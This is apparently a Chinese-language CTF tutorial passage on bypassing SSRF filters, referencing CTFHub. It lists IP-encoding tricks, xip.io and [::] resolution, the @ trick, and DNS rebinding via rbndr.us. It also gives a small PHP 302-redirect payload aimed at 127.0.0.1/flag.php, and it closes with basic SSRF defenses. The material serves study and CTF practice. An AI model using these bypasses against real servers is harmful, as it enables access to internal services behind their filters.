(1)采用短网址绕过,生成短网址地址链接:
短网址,短网址生成,短链接,飞天天网,网址缩短_ft12短网址
(2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1。(当我们访问这个网站的子域名时,如192.168.0.1.xip.io,会自动重定向到192.168.0.1。因此也算一种302跳转,即IP地址设为ip.xip.io或www.ip.xip.io。)
(3)采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433
(4)利用[::],http://[::]:80/ 会解析为 http://127.0.0.1
(5)添加端口号,http://127.0.0.1:8080
(6)利用句号,127。0。0。1 会解析为 127.0.0.1
(7)@符:http://xxx@127.0.0.1/flag.php,效果都与http://127.0.0.1/flag.php相同
(8)封闭式字母数字(Enclosed Alphanumerics):
302跳转 Bypass
限制请求只为http协议:
(1)采用302跳转
(2)采用短地址
在自己的服务器上写入下面的302跳转代码,作用是让访问者重定向回127.0.0.1/flag.php。
<?php
header("Location: http://127.0.0.1/flag.php");
?>
假设我们把302跳转代码写入302.php,然后我们在302.php所在文件夹处执行下面这条命令
php -S 0.0.0.0:7777
作用是启动服务器,这里开放的是7777端口(不能用python,我们这里写的是PHP重定向代码)
然后去访问:
?url=yourip:port/302.php
这里我们开的是7777端口,所以应该写
?url=yourip:7777/302.php
DNS重绑定 Bypass
DNS重绑定是什么?
你只需要有个域名,但是它映射两个IP;同时设置TTL为0,能方便两个IP即刻切换
效果类比:你访问wwfcww.xyz这个域名,第一次解析的IP是192.168.0.1;而第二次解析的IP是127.0.0.1
这个操作,就叫做DNS重绑定。
具体利用这个网站:rbndr.us dns rebinding service
DNS重绑定可以做到对URL的host进行DNS解析时,前后两次不一样,从而可以绕过防御
SSRF防御
1、禁用协议
2、限制请求端口
3、设置URL白名单
4、过滤返回信息
5、统一错误信息
参考文献
服务端请求伪造(SSRF)及漏洞复现_ssrf漏洞复现-CSDN博客
了解SSRF漏洞,这一篇就足够了......-CSDN博客
漏洞原理——ssrf-CSDN博客
CTFHub—SSRF_ctfhubssrf-CSDN博客